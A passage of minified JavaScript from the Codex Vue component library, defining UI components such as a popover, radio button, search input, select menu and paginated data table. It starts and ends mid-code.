t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-multiselect-lookup",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createVNode(i,t.mergeProps({ref:"chipInput","input-chips":e.inputChipsWrapper,"onUpdate:inputChips":n[0]||(n[0]=a=>e.inputChipsWrapper=a),"input-value":e.computedInputValue,"onUpdate:inputValue":n[1]||(n[1]=a=>e.computedInputValue=a)},e.otherAttrs,{class:"cdx-multiselect-lookup__chip-input",role:"combobox",autocomplete:"off","aria-autocomplete":"list","aria-controls":e.menuId,"aria-expanded":e.expanded,"aria-activedescendant":e.highlightedId,"separate-input":e.separateInput,readonly:e.readonly,disabled:e.computedDisabled,status:e.computedStatus,"onUpdate:inputValue":e.onUpdateInputValue,onFocus:e.onInputFocus,onBlur:e.onInputBlur,onKeydown:e.onKeydown,onChipClick:n[2]||(n[2]=a=>e.$emit("chip-click",a))}),null,16,["input-chips","input-value","aria-controls","aria-expanded","aria-activedescendant","separate-input","readonly","disabled","status","onUpdate:inputValue","onFocus","onBlur","onKeydown"]),t.createVNode(r,t.mergeProps({id:e.menuId,ref:"menu",selected:e.selectedWrapper,"onUpdate:selected":n[3]||(n[3]=a=>e.selectedWrapper=a),expanded:e.expanded,"onUpdate:expanded":n[4]||(n[4]=a=>e.expanded=a),"menu-items":e.menuItems},e.menuConfig,{onLoadMore:n[5]||(n[5]=a=>e.$emit("load-more"))}),{default:t.withCtx(({menuItem:a})=>[t.renderSlot(e.$slots,"menu-item",{menuItem:a})]),"no-results":t.withCtx(()=>[t.renderSlot(e.$slots,"no-results")]),_:3},16,["id","selected","expanded","menu-items"])],6)}const Ws=_(Us,[["render",js]]),qs=t.defineComponent({name:"CdxPopover",components:{CdxButton:fe,CdxIcon:G},inheritAttrs:!1,props:{anchor:{type:Object,default:null},open:{type:Boolean,default:!1},title:{type:String,default:""},icon:{type:[String,Object],default:""},useCloseButton:{type:Boolean,default:!1},closeButtonLabel:{type:String,default:"Close"},primaryAction:{type:Object,default:null},defaultAction:{type:Object,default:null},stackedActions:{type:Boolean,default:!1},renderInPlace:{type:Boolean,default:!1},placement:{type:String,default:"bottom"}},emits:["update:open","primary","default"],setup(e,{emit:n}){const o=t.toRef(e,"placement"),l=t.ref(),s=t.toRef(e,"anchor"),d=t.ref(),i=16,r=256,a=200,u=512,v=Math.sqrt(16**2+16**2)/2+4,g=t.computed(()=>[Vt(v),Et(),Bn({padding:i,apply({availableWidth:U,availableHeight:L,elements:H}){const q=Math.min(u,U);Object.assign(H.floating.style,{maxWidth:"".concat(Math.max(r,q),"px"),maxHeight:"".concat(Math.max(a,L),"px")})}}),Za({element:d})]),{floatingStyles:C,middlewareData:B,placement:S,x:E,y:V}=xn(s,l,{whileElementsMounted:xt,placement:o,middleware:g}),D=t.reactive({left:"0",top:"0",right:"0",bottom:"0",transform:"none"}),A=t.computed(()=>on[S.value]);t.watch([E,V],()=>{if(B.value.arrow){const{x:U,y:L}=B.value.arrow;D.left=U?"".concat(U,"px"):"",D.top=L?"".concat(L,"px"):"",D.right="",D.bottom="",D[A.value]="".concat(-16/2-1,"px");const H={top:"rotate( 45deg )",right:"rotate( 135deg )",bottom:"rotate( 225deg )",left:"rotate( 315deg )"};D.transform=H[A.value]}});const $=t.inject("CdxTeleportTarget",void 0),b=t.computed(()=>$!=null?$:"body"),k=_e(t.toRef(e,"closeButtonLabel"),"cdx-popover-close-button-label","Close"),I=t.computed(()=>!!e.title||!!e.icon||e.useCloseButton),x=t.computed(()=>!!e.primaryAction||!!e.defaultAction),R=t.computed(()=>({"cdx-popover__footer__actions--vertical":e.stackedActions,"cdx-popover__footer__actions--horizontal":!e.stackedActions}));function K(){n("update:open",!1)}function z(U){U.key==="Escape"&&K()}function O(U){const L=Vn(s.value);l.value&&!l.value.contains(U.target)&&!(L!=null&&L.contains(U.target))&&K()}return t.watch(()=>e.open,U=>{U?(document.addEventListener("keydown",z),document.addEventListener("mousedown",O),document.addEventListener("focusin",O)):(document.removeEventListener("keydown",z),document.removeEventListener("mousedown",O),document.removeEventListener("focusin",O))}),t.onMounted(()=>J(this,null,function*(){e.open&&(document.addEventListener("keydown",z),document.addEventListener("mousedown",O),document.addEventListener("focusin",O)),yield t.nextTick(),e.anchor===null&&console.warn('[CdxPopover]: The "anchor" prop must be provided to position the CdxPopover.')})),t.onUnmounted(()=>{document.removeEventListener("keydown",z),document.removeEventListener("mousedown",O),document.removeEventListener("focusin",O)}),{computedTarget:b,translatedCloseButtonLabel:k,showHeader:I,showFooter:x,footerActionsClasses:R,close:K,cdxIconClose:Ye,floating:l,floatingStyles:C,arrowRef:d,arrowStyles:D}}}),Qs={key:0,class:"cdx-popover__header"},Gs={key:1,class:"cdx-popover__header__title"},Ys={class:"cdx-popover__header__button-wrapper"},Xs={class:"cdx-popover__body"},Zs={key:1,class:"cdx-popover__footer"};function Js(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createBlock(t.Teleport,{to:e.computedTarget,disabled:e.renderInPlace},[e.open?(t.openBlock(),t.createElementBlock("div",t.mergeProps({key:0,ref:"floating",class:"cdx-popover",style:e.floatingStyles},e.$attrs),[e.showHeader||e.$slots.header?(t.openBlock(),t.createElementBlock("header",Qs,[t.renderSlot(e.$slots,"header",{},()=>[e.icon?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-popover__header__icon",icon:e.icon},null,8,["icon"])):t.createCommentVNode("v-if",!0),e.title?(t.openBlock(),t.createElementBlock("div",Gs,t.toDisplayString(e.title),1)):t.createCommentVNode("v-if",!0),t.createElementVNode("div",Ys,[e.useCloseButton?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-popover__header__close-button",weight:"quiet",type:"button","aria-label":e.translatedCloseButtonLabel,onClick:e.close},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconClose},null,8,["icon"])]),_:1},8,["aria-label","onClick"])):t.createCommentVNode("v-if",!0)])])])):t.createCommentVNode("v-if",!0),t.createElementVNode("div",Xs,[t.renderSlot(e.$slots,"default")]),e.showFooter||e.$slots.footer?(t.openBlock(),t.createElementBlock("footer",Zs,[t.renderSlot(e.$slots,"footer",{},()=>[t.createElementVNode("div",{class:t.normalizeClass(["cdx-popover__footer__actions",e.footerActionsClasses])},[e.primaryAction?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-popover__footer__primary-action",weight:"primary",action:e.primaryAction.actionType,disabled:e.primaryAction.disabled,onClick:n[0]||(n[0]=a=>e.$emit("primary"))},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.primaryAction.label),1)]),_:1},8,["action","disabled"])):t.createCommentVNode("v-if",!0),e.defaultAction?(t.openBlock(),t.createBlock(r,{key:1,class:"cdx-popover__footer__default-action",disabled:e.defaultAction.disabled,onClick:n[1]||(n[1]=a=>e.$emit("default"))},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.defaultAction.label),1)]),_:1},8,["disabled"])):t.createCommentVNode("v-if",!0)],2)])])):t.createCommentVNode("v-if",!0),t.createElementVNode("div",{ref:"arrowRef",class:"cdx-popover__arrow",style:t.normalizeStyle(e.arrowStyles)},null,4)],16)):t.createCommentVNode("v-if",!0)],8,["to","disabled"])}const ei=_(qs,[["render",Js]]),ti=t.defineComponent({name:"CdxProgressIndicator",components:{CdxLabel:Ae},inheritAttrs:!1,props:{showLabel:{type:Boolean,default:!1}},setup(e,{slots:n,attrs:o}){var a;et((a=n.default)==null?void 0:a.call(n),o,"CdxProgressIndicator");const l=t.computed(()=>({"cdx-progress-indicator--has-label-visible":e.showLabel})),{rootClasses:s,rootStyle:d,otherAttrs:i}=le(o,l),r=t.useId();return{rootClasses:s,rootStyle:d,progressIndicatorId:r,otherAttrs:i}}}),ni={class:"cdx-progress-indicator__indicator"},oi=["id"];function li(e,n,o,l,s,d){var r,a;const i=t.resolveComponent("cdx-label");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-progress-indicator",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("span",ni,[t.createElementVNode("progress",t.mergeProps({id:e.progressIndicatorId,class:"cdx-progress-indicator__indicator__progress"},e.otherAttrs),null,16,oi)]),(a=(r=e.$slots).default)!=null&&a.call(r,{})?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-progress-indicator__label","input-id":e.progressIndicatorId,"visually-hidden":!e.showLabel},{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default")]),_:3},8,["input-id","visually-hidden"])):t.createCommentVNode("v-if",!0)],6)}const ai=_(ti,[["render",li]]),si=ee(pe),ii=t.defineComponent({name:"CdxRadio",components:{CdxLabel:Ae},props:{modelValue:{type:[String,Number,Boolean],default:""},inputValue:{type:[String,Number,Boolean],default:!1},name:{type:String,required:!0},disabled:{type:Boolean,default:!1},inline:{type:Boolean,default:!1},status:{type:String,default:"default",validator:si}},emits:["update:modelValue"],setup(e,{emit:n,slots:o,attrs:l}){var m;et((m=o.default)==null?void 0:m.call(o),l,"CdxRadio");const{computedDisabled:s,computedStatus:d}=se(t.toRef(e,"disabled"),t.toRef(e,"status")),i=t.computed(()=>({"cdx-radio--inline":e.inline,["cdx-radio--status-".concat(d.value)]:!0})),r=t.computed(()=>({"cdx-radio__custom-input--inline":e.inline})),a=t.ref(),u=t.useId(),c=t.useId(),p=()=>{a.value.focus()},f=oe(t.toRef(e,"modelValue"),n);return{rootClasses:i,computedDisabled:s,input:a,radioId:u,descriptionId:c,focusInput:p,wrappedModel:f,customInputClasses:r}}}),ri={class:"cdx-radio__wrapper"},di=["id","aria-describedby","name","value","disabled"];function ui(e,n,o,l,s,d){const i=t.resolveComponent("cdx-label");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-radio",e.rootClasses])},[t.createElementVNode("div",ri,[t.withDirectives(t.createElementVNode("input",{id:e.radioId,ref:"input","onUpdate:modelValue":n[0]||(n[0]=r=>e.wrappedModel=r),class:"cdx-radio__input",type:"radio","aria-describedby":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,name:e.name,value:e.inputValue,disabled:e.computedDisabled},null,8,di),[[t.vModelRadio,e.wrappedModel]]),n[1]||(n[1]=t.createElementVNode("span",{class:"cdx-radio__icon"},null,-1)),e.$slots.default&&e.$slots.default().length?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-radio__label","input-id":e.radioId,"description-id":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,disabled:e.computedDisabled,onClick:e.focusInput},t.createSlots({default:t.withCtx(()=>[t.renderSlot(e.$slots,"default")]),_:2},[e.$slots.description&&e.$slots.description().length>0?{name:"description",fn:t.withCtx(()=>[t.renderSlot(e.$slots,"description")]),key:"0"}:void 0]),1032,["input-id","description-id","disabled","onClick"])):t.createCommentVNode("v-if",!0)]),e.$slots["custom-input"]?(t.openBlock(),t.createElementBlock("div",{key:0,class:t.normalizeClass(["cdx-radio__custom-input",e.customInputClasses])},[t.renderSlot(e.$slots,"custom-input")],2)):t.createCommentVNode("v-if",!0)],2)}const ci=_(ii,[["render",ui]]),pi=ee(pe),fi=t.defineComponent({name:"CdxSearchInput",components:{CdxButton:fe,CdxTextInput:tt},inheritAttrs:!1,props:{modelValue:{type:[String,Number],default:""},useButton:{type:Boolean,default:!1},buttonLabel:{type:String,default:""},disabled:{type:Boolean,default:!1},status:{type:String,default:"default",validator:pi}},emits:["update:modelValue","submit-click","input","change","focus","blur"],setup(e,{emit:n,attrs:o}){const l=oe(t.toRef(e,"modelValue"),n),{computedDisabled:s}=se(t.toRef(e,"disabled")),d=t.computed(()=>({"cdx-search-input--has-end-button":!!e.buttonLabel||e.useButton})),{rootClasses:i,rootStyle:r,otherAttrs:a}=le(o,d),u=_e(t.toRef(e,"buttonLabel"),"cdx-search-input-search-button-label","Search"),c=t.computed(()=>e.useButton||e.buttonLabel.length>0);return{wrappedModel:l,computedDisabled:s,rootClasses:i,rootStyle:r,otherAttrs:a,handleSubmit:()=>{n("submit-click",l.value)},searchIcon:mo,translatedSearchButtonLabel:u,useButtonOrLabel:c}},methods:{focus(){this.$refs.textInput.focus()}}}),mi={class:"cdx-search-input__input-wrapper"};function hi(e,n,o,l,s,d){const i=t.resolveComponent("cdx-text-input"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-search-input",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("div",mi,[t.createVNode(i,t.mergeProps({ref:"textInput",modelValue:e.wrappedModel,"onUpdate:modelValue":n[0]||(n[0]=a=>e.wrappedModel=a),class:"cdx-search-input__text-input","input-type":"search","start-icon":e.searchIcon,disabled:e.computedDisabled,status:e.status},e.otherAttrs,{onKeydown:t.withKeys(e.handleSubmit,["enter"]),onInput:n[1]||(n[1]=a=>e.$emit("input",a)),onChange:n[2]||(n[2]=a=>e.$emit("change",a)),onFocus:n[3]||(n[3]=a=>e.$emit("focus",a)),onBlur:n[4]||(n[4]=a=>e.$emit("blur",a))}),null,16,["modelValue","start-icon","disabled","status","onKeydown"]),t.renderSlot(e.$slots,"default")]),e.useButtonOrLabel?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-search-input__end-button",disabled:e.computedDisabled,onClick:e.handleSubmit},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.translatedSearchButtonLabel),1)]),_:1},8,["disabled","onClick"])):t.createCommentVNode("v-if",!0)],6)}const An=_(fi,[["render",hi]]),vi=ee(pe),gi=t.defineComponent({name:"CdxSelect",components:{CdxIcon:G,CdxMenu:Be},inheritAttrs:!1,props:{menuItems:{type:Array,required:!0},selected:{type:[String,Number,null],required:!0},defaultLabel:{type:String,default:""},disabled:{type:Boolean,default:!1},menuConfig:{type:Object,default:()=>({})},defaultIcon:{type:[String,Object],default:void 0},status:{type:String,default:"default",validator:vi}},emits:["update:selected","load-more"],setup(e,{emit:n,attrs:o}){const l=t.ref(),s=t.ref(),d=t.inject(Xe,void 0),i=t.useId(),r=t.ref(!1),a=o.id||t.useId(),{computedDisabled:u,computedStatus:c,computedInputId:p}=se(t.toRef(e,"disabled"),t.toRef(e,"status"),a),f=oe(t.toRef(e,"selected"),n,"update:selected"),m=t.computed(()=>{var b;return(b=s.value)==null?void 0:b.getComputedMenuItems().find(k=>k.value===e.selected)}),h=t.computed(()=>{var b;return m.value?(b=m.value.label)!=null?b:m.value.value:e.defaultLabel}),v=t.computed(()=>{var b;if(e.defaultIcon&&!m.value)return e.defaultIcon;if((b=m.value)!=null&&b.icon)return m.value.icon}),g=t.computed(()=>({"cdx-select-vue--enabled":!u.value,"cdx-select-vue--disabled":u.value,"cdx-select-vue--expanded":r.value,"cdx-select-vue--value-selected":!!m.value,"cdx-select-vue--no-selections":!m.value,"cdx-select-vue--has-start-icon":!!v.value,["cdx-select-vue--status-".concat(c.value)]:!0})),{rootClasses:C,rootStyle:B,otherAttrs:S}=le(o,g),E=t.computed(()=>{const I=S.value,{id:b}=I;return de(I,["id"])}),V=t.computed(()=>{var b,k;return(k=(b=s.value)==null?void 0:b.getHighlightedMenuItem())==null?void 0:k.id});function D(){r.value=!1}function A(){var b;u.value||(r.value=!r.value,(b=l.value)==null||b.focus())}function $(b){var k;u.value||(k=s.value)==null||k.delegateKeyNavigation(b,{characterNavigation:!0})}return Me(l,s),{handle:l,menu:s,computedHandleId:p,descriptionId:d,menuId:i,modelWrapper:f,selectedMenuItem:m,highlightedId:V,expanded:r,computedDisabled:u,onBlur:D,currentLabel:h,rootClasses:C,rootStyle:B,otherAttrsMinusId:E,onClick:A,onKeydown:$,startIcon:v,cdxIconExpand:Ut}}}),bi=["aria-disabled"],yi=["id","aria-controls","aria-activedescendant","aria-expanded","aria-describedby"];function Ci(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-menu");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-select-vue",e.rootClasses]),style:t.normalizeStyle(e.rootStyle),"aria-disabled":e.computedDisabled},[t.createElementVNode("div",t.mergeProps({id:e.computedHandleId,ref:"handle",class:"cdx-select-vue__handle"},e.otherAttrsMinusId,{tabindex:"0",role:"combobox","aria-controls":e.menuId,"aria-activedescendant":e.highlightedId,"aria-expanded":e.expanded,"aria-describedby":e.descriptionId,onClick:n[0]||(n[0]=(...a)=>e.onClick&&e.onClick(...a)),onBlur:n[1]||(n[1]=(...a)=>e.onBlur&&e.onBlur(...a)),onKeydown:n[2]||(n[2]=(...a)=>e.onKeydown&&e.onKeydown(...a))}),[t.renderSlot(e.$slots,"label",{selectedMenuItem:e.selectedMenuItem,defaultLabel:e.defaultLabel},()=>[t.createTextVNode(t.toDisplayString(e.currentLabel),1)]),e.startIcon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.startIcon,class:"cdx-select-vue__start-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createVNode(i,{icon:e.cdxIconExpand,class:"cdx-select-vue__indicator"},null,8,["icon"])],16,yi),t.createVNode(r,t.mergeProps({id:e.menuId,ref:"menu",selected:e.modelWrapper,"onUpdate:selected":n[3]||(n[3]=a=>e.modelWrapper=a),expanded:e.expanded,"onUpdate:expanded":n[4]||(n[4]=a=>e.expanded=a),"menu-items":e.menuItems},e.menuConfig,{onLoadMore:n[5]||(n[5]=a=>e.$emit("load-more"))}),{default:t.withCtx(({menuItem:a})=>[t.renderSlot(e.$slots,"menu-item",{menuItem:a})]),_:3},16,["id","selected","expanded","menu-items"])],14,bi)}const Dn=_(gi,[["render",Ci]]),wi=t.defineComponent({name:"CdxTablePager",components:{CdxButton:fe,CdxIcon:G,CdxSelect:Dn},props:{paginationSizeOptions:{type:Array,required:!0},itemsPerPage:{type:Number,required:!0},nextDisabled:{type:Boolean,default:!1},prevDisabled:{type:Boolean,default:!1},lastDisabled:{type:Boolean,default:!1}},emits:["update:itemsPerPage","first","last","next","prev"],setup(e,{emit:n}){const o=oe(t.toRef(e,"itemsPerPage"),n,"update:itemsPerPage"),l=X("cdx-table-pager-items-per-page-default","Results per page"),s=X("cdx-table-pager-items-per-page-current",u=>"".concat(u," rows"),[o]),d=X("cdx-table-pager-button-first-page","First page"),i=X("cdx-table-pager-button-next-page","Next page"),r=X("cdx-table-pager-button-prev-page","Previous page"),a=X("cdx-table-pager-button-last-page","Last page");return{defaultItemsPerPageLabel:l,currentItemsPerPageLabel:s,btnLabelFirst:d,btnLabelNext:i,btnLabelPrev:r,btnLabelLast:a,wrappedItemsPerPage:o,cdxIconPrevious:qt,cdxIconNext:Wt,cdxIconMoveFirst:po,cdxIconMoveLast:fo}}}),ki={class:"cdx-table-pager"},$i={class:"cdx-table-pager__start"},Bi={key:0},Si={key:1},Ii={class:"cdx-table-pager__center"},xi={class:"cdx-table-pager__end"};function Vi(e,n,o,l,s,d){const i=t.resolveComponent("cdx-select"),r=t.resolveComponent("cdx-icon"),a=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("div",ki,[t.createElementVNode("div",$i,[t.createVNode(i,{selected:e.wrappedItemsPerPage,"onUpdate:selected":n[0]||(n[0]=u=>e.wrappedItemsPerPage=u),"default-label":e.defaultItemsPerPageLabel,"menu-items":e.paginationSizeOptions},{label:t.withCtx(({selectedMenuItem:u,defaultLabel:c})=>[u?(t.openBlock(),t.createElementBlock("span",Bi,[t.createElementVNode("span",null,t.toDisplayString(e.currentItemsPerPageLabel),1)])):(t.openBlock(),t.createElementBlock("span",Si,t.toDisplayString(c),1))]),_:1},8,["selected","default-label","menu-items"])]),t.createElementVNode("div",Ii,[t.renderSlot(e.$slots,"default")]),t.createElementVNode("div",xi,[t.createVNode(a,{disabled:e.prevDisabled,class:"cdx-table-pager__button-first",weight:"quiet","aria-label":e.btnLabelFirst,onClick:n[1]||(n[1]=u=>e.$emit("first"))},{default:t.withCtx(()=>[t.createVNode(r,{icon:e.cdxIconMoveFirst},null,8,["icon"])]),_:1},8,["disabled","aria-label"]),t.createVNode(a,{disabled:e.prevDisabled,class:"cdx-table-pager__button-prev",weight:"quiet","aria-label":e.btnLabelPrev,onClick:n[2]||(n[2]=u=>e.$emit("prev"))},{default:t.withCtx(()=>[t.createVNode(r,{icon:e.cdxIconPrevious},null,8,["icon"])]),_:1},8,["disabled","aria-label"]),t.createVNode(a,{disabled:e.nextDisabled,class:"cdx-table-pager__button-next",weight:"quiet","aria-label":e.btnLabelNext,onClick:n[3]||(n[3]=u=>e.$emit("next"))},{default:t.withCtx(()=>[t.createVNode(r,{icon:e.cdxIconNext},null,8,["icon"])]),_:1},8,["disabled","aria-label"]),t.createVNode(a,{disabled:e.nextDisabled||e.lastDisabled,class:"cdx-table-pager__button-last",weight:"quiet","aria-label":e.btnLabelLast,onClick:n[4]||(n[4]=u=>e.$emit("last"))},{default:t.withCtx(()=>[t.createVNode(r,{icon:e.cdxIconMoveLast},null,8,["icon"])]),_:1},8,["disabled","aria-label"])])])}const Ei=_(wi,[["render",Vi]]),Ni=ee(So),Ai=ee(Eo),Di={none:ho,asc:vo,desc:uo},Mi={none:"none",asc:"ascending",desc:"descending"},Li=t.defineComponent({name:"CdxTable",components:{CdxCheckbox:un,CdxIcon:G,CdxTablePager:Ei,CdxProgressBar:yt},props:{caption:{type:String,required:!0},hideCaption:{type:Boolean,default:!1},columns:{type:Array,default:()=>[],validator:e=>{const n=e.map(l=>l.id);return new Set(n).size===n.length?!0:(console.warn('[CdxTable]: Each column in the "columns" prop must have a unique "id".'),!1)}},data:{type:Array,default:()=>[],validator:(e,n)=>{if(!Array.isArray(n.columns)||n.columns.length===0||e.length===0)return!0;const o=n.columns.some(s=>"allowSort"in s),l=e.every(s=>je in s);return o&&n.useRowSelection&&!l?(console.warn('[CdxTable]: With sorting and row selection, each row in the "data" prop must have a "TableRowIdentifier".'),!1):!0}},useRowHeaders:{type:Boolean,default:!1},showVerticalBorders:{type:Boolean,default:!1},useRowSelection:{type:Boolean,default:!1},selectedRows:{type:Array,default:()=>[]},sort:{type:Object,default:()=>({})},pending:{type:Boolean,default:!1},paginate:{type:Boolean,default:!1},serverPagination:{type:Boolean,default:!1},totalRows:{type:Number,default:NaN},paginationPosition:{type:String,default:"bottom",validator:Ai},paginationSizeOptions:{type:Array,default:()=>[{value:10},{value:20},{value:50}],validator:e=>{const n=o=>typeof o.value=="number";return e.every(n)?!0:(console.warn('[CdxTable]: "value" property of all menu items in PaginationOptions must be a number.'),!1)}},paginationSizeDefault:{type:Number,default:e=>e.paginate&&e.serverPagination?e.data.length:e.paginationSizeOptions[0].value}},emits:["update:selectedRows","update:sort","load-more","last"],setup(e,{emit:n}){const o=t.ref(0),l=t.ref(e.paginationSizeDefault),s=t.computed(()=>e.serverPagination&&e.paginate?e.data:e.paginate?e.data.slice(o.value,l.value+o.value):e.data),d=t.computed(()=>{var M;return e.serverPagination?(M=e.totalRows)!=null?M:NaN:e.data.length}),i=t.computed(()=>isNaN(d.value)),r=t.computed(()=>s.value.length),a=t.computed(()=>o.value+1),u=t.computed(()=>o.value+r.value),c=t.computed(()=>i.value),p=t.computed(()=>o.value<=0),f=t.computed(()=>i.value?r.value<l.value:o.value+l.value>=d.value),m=X("cdx-table-pagination-status-message-determinate-short",(M,P,Q)=>"".concat(M,"–").concat(P," of ").concat(Q),[a,u,d]),h=X("cdx-table-pagination-status-message-determinate-long",(M,P,Q)=>"Showing results ".concat(M,"–").concat(P," of ").concat(Q),[a,u,d]),v=X("cdx-table-pagination-status-message-indeterminate-short",(M,P)=>"".concat(M,"–").concat(P," of many"),[a,u]),g=X("cdx-table-pagination-status-message-indeterminate-long",(M,P)=>"Showing results ".concat(M,"–").concat(P," of many"),[a,u]),C=X("cdx-table-pagination-status-message-indeterminate-final",M=>"Showing the last ".concat(M," results"),[r]),B=X("cdx-table-pagination-status-message-pending","Loading results..."),S=t.computed(()=>e.pending?B.value:i.value&&f.value?C.value:i.value?v.value:m.value),E=t.computed(()=>e.pending?B.value:i.value&&f.value?C.value:i.value?g.value:h.value);function V(){o.value+=l.value,e.serverPagination&&n("load-more",o.value,l.value)}function D(){o.value-l.value<1?A():(o.value-=l.value,e.serverPagination&&n("load-more",o.value,l.value))}function A(){o.value=0,e.serverPagination&&n("load-more",o.value,l.value)}function $(){d.value%l.value===0?(o.value=d.value-l.value,n("load-more",o.value,l.value)):(o.value=Math.floor(d.value/l.value)*l.value,n("load-more",o.value,l.value))}t.watch(l,M=>{e.serverPagination&&n("load-more",o.value,M)});const b=oe(t.toRef(e,"selectedRows"),n,"update:selectedRows"),k=t.ref(d.value===b.value.length),I=t.ref(!1),x=t.computed(()=>Object.keys(e.sort)[0]),R=t.computed(()=>e.columns.some(M=>M.allowSort)),K=t.computed(()=>{var P;return{"cdx-table__table--layout-fixed":(P=e.columns)==null?void 0:P.some(Q=>"width"in Q||"minWidth"in Q),"cdx-table__table--borders-vertical":e.showVerticalBorders}}),z=X("cdx-table-sort-caption",M=>"".concat(M," (column headers with buttons are sortable)."),[t.toRef(e,"caption")]),O=(M,P)=>X("cdx-table-select-row-label",(Q,be)=>"Select row ".concat(Q," of ").concat(be),[()=>M,()=>P]).value,U=X("cdx-table-select-all-label","Select all rows");function L(M,P){return je in M?M[je]:P}function H(M,P){const Q=L(M,P);return{"cdx-table__row--selected":b.value.includes(Q)}}function q(M){const P=e.columns[0].id;if(e.useRowHeaders&&M===P)return"row"}function y(M){const P=e.columns[0].id;return e.useRowHeaders&&M===P?"th":"td"}function T(M,P=!1){if("textAlign"in M&&!Ni(M.textAlign)){console.warn('[CdxTable]: Invalid value for TableColumn "textAlign" property.');return}return{["cdx-table__table__cell--align-".concat(M.textAlign)]:"textAlign"in M&&M.textAlign!=="start","cdx-table__table__cell--has-sort":P}}function W(M){const P={};return"width"in M&&(P.width=M.width),"minWidth"in M&&(P.minWidth=M.minWidth),P}function Z(M){if(d.value===M.length){k.value=!0,I.value=!1;return}k.value=!1,d.value>M.length&&(I.value=!0),M.length===0&&(I.value=!1)}function at(M){I.value=!1,M?b.value=e.data.map((P,Q)=>L(P,Q)):b.value=[]}function st(M){var be;const P=(be=e.sort[M])!=null?be:"none";let Q="asc";P==="asc"&&(Q="desc"),P==="desc"&&(Q="none"),n("update:sort",{[M]:Q})}function it(M){var Q;const P=(Q=e.sort[M])!=null?Q:"none";return Di[P]}function rt(M,P=!1){var Q;if(P){const be=(Q=e.sort[M])!=null?Q:"none";return be==="none"?void 0:Mi[be]}}return{dataForDisplay:s,pageSize:l,onNext:V,onPrev:D,onFirst:A,onLast:$,nextDisabled:f,prevDisabled:p,lastDisabled:c,paginationStatusMessageShort:S,paginationStatusMessageLong:E,wrappedSelectedRows:b,selectAll:k,selectAllIndeterminate:I,activeSortColumn:x,hasSortableColumns:R,tableClasses:K,getRowKey:L,getRowClass:H,getRowHeaderScope:q,getCellElement:y,getCellClass:T,getCellStyle:W,handleRowSelection:Z,handleSelectAll:at,handleSort:st,getSortIcon:it,getSortOrder:rt,translatedSortCaption:z,translatedSelectRowLabel:O,translatedSelectAllLabel:U}}}),Ti={class:"cdx-table",tabindex:"0"},Ri={key:0,class:"cdx-table__header"},Oi=["aria-hidden"],Fi={class:"cdx-table__header__content"},Pi={class:"cdx-table__pagination-status--long"},_i={class:"cdx-table__pagination-status--short"},zi={class:"cdx-table__table-wrapper"},Ki={key:0},Hi={key:0,class:"cdx-table__table__select-rows"},Ui=["aria-sort"],ji=["aria-selected","onClick"],Wi={class:"cdx-table__table__sort-label"},qi={key:0},Qi={key:0},Gi={key:1},Yi={class:"cdx-table__table__empty-state"},Xi=["colspan"],Zi={class:"cdx-table__pagination-status--long"},Ji={class:"cdx-table__pagination-status--short"},er={key:3,class:"cdx-table__footer"};function tr(e,n,o,l,s,d){const i=t.resolveComponent("cdx-table-pager"),r=t.resolveComponent("cdx-checkbox"),a=t.resolveComponent("cdx-icon"),u=t.resolveComponent("cdx-progress-bar");return t.openBlock(),t.createElementBlock("div",Ti,[!e.hideCaption||e.$slots.header&&e.$slots.header().length>0?(t.openBlock(),t.createElementBlock("div",Ri,[t.createElementVNode("div",{class:"cdx-table__header__caption","aria-hidden":e.$slots.header&&e.$slots.header().length>0?void 0:!0},[e.hideCaption?t.createCommentVNode("v-if",!0):(t.openBlock(),t.createElementBlock(t.Fragment,{key:0},[t.createTextVNode(t.toDisplayString(e.caption),1)],64))],8,Oi),t.createElementVNode("div",Fi,[t.renderSlot(e.$slots,"header")])])):t.createCommentVNode("v-if",!0),e.paginate&&(e.paginationPosition==="top"||e.paginationPosition==="both")?(t.openBlock(),t.createBlock(i,{key:1,"items-per-page":e.pageSize,"onUpdate:itemsPerPage":n[0]||(n[0]=c=>e.pageSize=c),class:"cdx-table__pagination--top","pagination-size-options":e.paginationSizeOptions,"prev-disabled":e.prevDisabled,"next-disabled":e.nextDisabled,"last-disabled":e.lastDisabled,onNext:e.onNext,onPrev:e.onPrev,onFirst:e.onFirst,onLast:e.onLast},{default:t.withCtx(()=>[t.createElementVNode("span",Pi,t.toDisplayString(e.paginationStatusMessageLong),1),t.createElementVNode("span",_i,t.toDisplayString(e.paginationStatusMessageShort),1)]),_:1},8,["items-per-page","pagination-size-options","prev-disabled","next-disabled","last-disabled","onNext","onPrev","onFirst","onLast"])):t.createCommentVNode("v-if",!0),t.createElementVNode("div",zi,[t.createElementVNode("table",{class:t.normalizeClass(["cdx-table__table",e.tableClasses])},[t.createElementVNode("caption",null,[e.hasSortableColumns?(t.openBlock(),t.createElementBlock(t.Fragment,{key:1},[t.createTextVNode(t.toDisplayString(e.translatedSortCaption),1)],64)):(t.openBlock(),t.createElementBlock(t.Fragment,{key:0},[t.createTextVN